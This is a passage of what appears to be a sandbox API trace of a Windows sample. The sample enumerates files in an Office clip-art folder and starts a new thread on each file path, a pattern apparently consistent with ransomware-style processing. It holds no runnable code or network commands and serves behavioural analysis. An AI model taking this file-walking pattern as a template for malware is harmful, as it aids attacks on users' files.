_Dest=0x1b86ab30, _Source="J0222019.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222019.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222019.WMF" [0097.674] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86ab30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x96c [0097.675] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85d3e900, ftCreationTime.dwHighDateTime=0x1be7a37, ftLastAccessTime.dwLowDateTime=0xbd539100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x85d3e900, ftLastWriteTime.dwHighDateTime=0x1be7a37, nFileSizeHigh=0x0, nFileSizeLow=0x7c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0222021.WMF", cAlternateFileName="")) returned 1 [0097.675] wcscmp (_String1="J0222021.WMF", _String2=".") returned 1 [0097.675] wcscmp (_String1="J0222021.WMF", _String2="..") returned 1 [0097.675] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b86abc0 [0097.675] wcscpy (in: _Dest=0x1b86abc0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0097.675] wcscat (in: _Dest=0x1b86abc0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0097.675] wcscat (in: _Dest=0x1b86abc0, _Source="J0222021.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222021.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222021.WMF" [0097.675] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86abc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x970 [0097.676] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b0a7e00, ftCreationTime.dwHighDateTime=0x1be860b, ftLastAccessTime.dwLowDateTime=0xbd55f260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7b0a7e00, ftLastWriteTime.dwHighDateTime=0x1be860b, nFileSizeHigh=0x0, nFileSizeLow=0xf5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0229385.WMF", cAlternateFileName="")) returned 1 [0097.676] wcscmp (_String1="J0229385.WMF", _String2=".") returned 1 [0097.676] wcscmp (_String1="J0229385.WMF", _String2="..") returned 1 [0097.677] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b86ac50 [0097.677] wcscpy (in: _Dest=0x1b86ac50, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0097.677] wcscat (in: _Dest=0x1b86ac50, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0097.677] wcscat (in: _Dest=0x1b86ac50, _Source="J0229385.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0229385.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0229385.WMF" [0097.677] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86ac50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x95c [0097.678] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c3bab00, ftCreationTime.dwHighDateTime=0x1be860b, ftLastAccessTime.dwLowDateTime=0xbd55f260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7c3bab00, ftLastWriteTime.dwHighDateTime=0x1be860b, nFileSizeHigh=0x0, nFileSizeLow=0xee0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0229389.WMF", cAlternateFileName="")) returned 1 [0097.678] wcscmp (_String1="J0229389.WMF", _String2=".") returned 1 [0097.678] wcscmp (_String1="J0229389.WMF", _String2="..") returned 1 [0097.678] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b86ace0 [0097.678] wcscpy (in: _Dest=0x1b86ace0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0097.678] wcscat (in: _Dest=0x1b86ace0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0097.678] wcscat (in: _Dest=0x1b86ace0, _Source="J0229389.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0229389.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0229389.WMF" [0097.678] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86ace0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7a4 [0097.679] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd64900, ftCreationTime.dwHighDateTime=0x1bc82e4, ftLastAccessTime.dwLowDateTime=0xbd55f260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6fd64900, ftLastWriteTime.dwHighDateTime=0x1bc82e4, nFileSizeHigh=0x0, nFileSizeLow=0x30da, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0230876.WMF", cAlternateFileName="")) returned 1 [0097.679] wcscmp (_String1="J0230876.WMF", _String2=".") returned 1 [0097.679] wcscmp (_String1="J0230876.WMF", _String2="..") returned 1 [0097.679] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b86ad70 [0097.679] wcscpy (in: _Dest=0x1b86ad70, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0097.679] wcscat (in: _Dest=0x1b86ad70, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0097.679] wcscat (in: _Dest=0x1b86ad70, _Source="J0230876.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0230876.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0230876.WMF" [0097.679] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86ad70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x958 [0097.680] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xabe1b900, ftCreationTime.dwHighDateTime=0x1be516b, ftLastAccessTime.dwLowDateTime=0xbd55f260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xabe1b900, ftLastWriteTime.dwHighDateTime=0x1be516b, nFileSizeHigh=0x0, nFileSizeLow=0x77f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0233018.WMF", cAlternateFileName="")) returned 1 [0097.680] wcscmp (_String1="J0233018.WMF", _String2=".") returned 1 [0097.680] wcscmp (_String1="J0233018.WMF", _String2="..") returned 1 [0097.680] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b86ae00 [0097.681] wcscpy (in: _Dest=0x1b86ae00, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0097.681] wcscat (in: _Dest=0x1b86ae00, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0097.681] wcscat (in: _Dest=0x1b86ae00, _Source="J0233018.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233018.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233018.WMF" [0097.681] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86ae00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x950 [0097.681] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c43c200, ftCreationTime.dwHighDateTime=0x1be1b5b, ftLastAccessTime.dwLowDateTime=0xbd55f260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3c43c200, ftLastWriteTime.dwHighDateTime=0x1be1b5b, nFileSizeHigh=0x0, nFileSizeLow=0x1522, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0233070.WMF", cAlternateFileName="")) returned 1 [0097.682] wcscmp (_String1="J0233070.WMF", _String2=".") returned 1 [0097.682] wcscmp (_String1="J0233070.WMF", _String2="..") returned 1 [0097.682] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b86ae90 [0097.682] wcscpy (in: _Dest=0x1b86ae90, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0097.682] wcscat (in: _Dest=0x1b86ae90, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0097.682] wcscat (in: _Dest=0x1b86ae90, _Source="J0233070.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233070.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233070.WMF" [0097.682] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86ae90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7a8 [0097.683] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36d32e00, ftCreationTime.dwHighDateTime=0x1be56ed, ftLastAccessTime.dwLowDateTime=0xbd55f260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x36d32e00, ftLastWriteTime.dwHighDateTime=0x1be56ed, nFileSizeHigh=0x0, nFileSizeLow=0x80f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0233312.WMF", cAlternateFileName="")) returned 1 [0097.683] wcscmp (_String1="J0233312.WMF", _String2=".") returned 1 [0097.683] wcscmp (_String1="J0233312.WMF", _String2="..") returned 1 [0097.683] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b86af20 [0097.683] wcscpy (in: _Dest=0x1b86af20, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0097.683] wcscat (in: _Dest=0x1b86af20, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0097.683] wcscat (in: _Dest=0x1b86af20, _Source="J0233312.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233312.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233312.WMF" [0097.683] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86af20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7ac [0097.684] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23f92c00, ftCreationTime.dwHighDateTime=0x1be8094, ftLastAccessTime.dwLowDateTime=0xbd55f260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x23f92c00, ftLastWriteTime.dwHighDateTime=0x1be8094, nFileSizeHigh=0x0, nFileSizeLow=0x6632, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0234131.WMF", cAlternateFileName="")) returned 1 [0097.684] wcscmp (_String1="J0234131.WMF", _String2=".") returned 1 [0097.684] wcscmp (_String1="J0234131.WMF", _String2="..") returned 1 [0097.684] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b86afb0 [0097.684] wcscpy (in: _Dest=0x1b86afb0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0097.684] wcscat (in: _Dest=0x1b86afb0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0097.684] wcscat (in: _Dest=0x1b86afb0, _Source="J0234131.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234131.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234131.WMF" [0097.685] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86afb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x944 [0097.685] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a15c200, ftCreationTime.dwHighDateTime=0x1be7fe9, ftLastAccessTime.dwLowDateTime=0xbd5853c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4a15c200, ftLastWriteTime.dwHighDateTime=0x1be7fe9, nFileSizeHigh=0x0, nFileSizeLow=0xa87e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0234266.WMF", cAlternateFileName="")) returned 1 [0097.686] wcscmp (_String1="J0234266.WMF", _String2=".") returned 1 [0097.686] wcscmp (_String1="J0234266.WMF", _String2="..") returned 1 [0097.686] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b86b040 [0097.686] wcscpy (in: _Dest=0x1b86b040, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0097.686] wcscat (in: _Dest=0x1b86b040, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0097.686] wcscat (in: _Dest=0x1b86b040, _Source="J0234266.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234266.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234266.WMF" [0097.686] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86b040, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x93c [0097.687] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1034e00, ftCreationTime.dwHighDateTime=0x1be75a5, ftLastAccessTime.dwLowDateTime=0xbd5853c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1034e00, ftLastWriteTime.dwHighDateTime=0x1be75a5, nFileSizeHigh=0x0, nFileSizeLow=0x27ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0234657.WMF", cAlternateFileName="")) returned 1 [0097.687] wcscmp (_String1="J0234657.WMF", _String2=".") returned 1 [0097.688] wcscmp (_String1="J0234657.WMF", _String2="..") returned 1 [0097.688] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b86b0d0 [0097.688] wcscpy (in: _Dest=0x1b86b0d0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0097.688] wcscat (in: _Dest=0x1b86b0d0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0097.688] wcscat (in: _Dest=0x1b86b0d0, _Source="J0234657.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234657.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234657.WMF" [0097.688] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86b0d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x934 [0097.689] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9eeb500, ftCreationTime.dwHighDateTime=0x1bf2be6, ftLastAccessTime.dwLowDateTime=0xbd5853c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc9eeb500, ftLastWriteTime.dwHighDateTime=0x1bf2be6, nFileSizeHigh=0x0, nFileSizeLow=0xd4f, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0234687.GIF", cAlternateFileName="")) returned 1 [0097.689] wcscmp (_String1="J0234687.GIF", _String2=".") returned 1 [0097.689] wcscmp (_String1="J0234687.GIF", _String2="..") returned 1 [0097.689] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b86b160 [0097.689] wcscpy (in: _Dest=0x1b86b160, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0097.689] wcscat (in: _Dest=0x1b86b160, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0097.689] wcscat (in: _Dest=0x1b86b160, _Source="J0234687.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234687.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234687.GIF" [0097.689] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86b160, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x928 [0097.690] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85566d00, ftCreationTime.dwHighDateTime=0x1be911f, ftLastAccessTime.dwLowDateTime=0xbd5853c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x85566d00, ftLastWriteTime.dwHighDateTime=0x1be911f, nFileSizeHigh=0x0, nFileSizeLow=0x1820, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0235241.WMF", cAlternateFileName="")) returned 1 [0097.690] wcscmp (_String1="J0235241.WMF", _String2=".") returned 1 [0097.690] wcscmp (_String1="J0235241.WMF", _String2="..") returned 1 [0097.690] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b86b1f0 [0097.690] wcscpy (in: _Dest=0x1b86b1f0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0097.690] wcscat (in: _Dest=0x1b86b1f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0097.691] wcscat (in: _Dest=0x1b86b1f0, _Source="J0235241.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0235241.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0235241.WMF" [0097.691] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86b1f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7b4 [0097.692] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c56b00, ftCreationTime.dwHighDateTime=0x1c0371d, ftLastAccessTime.dwLowDateTime=0xbd5853c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4c56b00, ftLastWriteTime.dwHighDateTime=0x1c0371d, nFileSizeHigh=0x0, nFileSizeLow=0xa24, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0235319.WMF", cAlternateFileName="")) returned 1 [0097.693] wcscmp (_String1="J0235319.WMF", _String2=".") returned 1 [0097.693] wcscmp (_String1="J0235319.WMF", _String2="..") returned 1 [0097.693] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b86b280 [0097.693] wcscpy (in: _Dest=0x1b86b280, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0097.693] wcscat (in: _Dest=0x1b86b280, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0097.693] wcscat (in: _Dest=0x1b86b280, _Source="J0235319.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0235319.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0235319.WMF" [0097.693] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86b280, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7b8 [0097.694] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bd8800, ftCreationTime.dwHighDateTime=0x1be9cd9, ftLastAccessTime.dwLowDateTime=0xbd5853c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb0bd8800, ftLastWriteTime.dwHighDateTime=0x1be9cd9, nFileSizeHigh=0x0, nFileSizeLow=0x13d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0240695.WMF", cAlternateFileName="")) returned 1 [0097.694] wcscmp (_String1="J0240695.WMF", _String2=".") returned 1 [0097.694] wcscmp (_String1="J0240695.WMF", _String2="..") returned 1 [0097.694] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b86b310 [0097.694] wcscpy (in: _Dest=0x1b86b310, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0097.694] wcscat (in: _Dest=0x1b86b310, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0097.694] wcscat (in: _Dest=0x1b86b310, _Source="J0240695.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0240695.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0240695.WMF" [0097.694] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86b310, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x924 [0097.695] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc16dfe00, ftCreationTime.dwHighDateTime=0x1be9cd9, ftLastAccessTime.dwLowDateTime=0xbd5ab520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc16dfe00, ftLastWriteTime.dwHighDateTime=0x1be9cd9, nFileSizeHigh=0x0, nFileSizeLow=0x1aa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0240719.WMF", cAlternateFileName="")) returned 1 [0120.308] wcscmp (_String1="J0240719.WMF", _String2=".") returned 1 [0120.308] wcscmp (_String1="J0240719.WMF", _String2="..") returned 1 [0120.308] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x2050ae30 [0120.309] wcscpy (in: _Dest=0x2050ae30, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0120.309] wcscat (in: _Dest=0x2050ae30, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0120.309] wcscat (in: _Dest=0x2050ae30, _Source="J0240719.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0240719.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0240719.WMF" [0126.703] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2050ae30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf84 [0126.703] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d89700, ftCreationTime.dwHighDateTime=0x1beb2f4, ftLastAccessTime.dwLowDateTime=0xbd5ab520, ftLastAccessTime.dwHighDateTime=0x1d305f1, 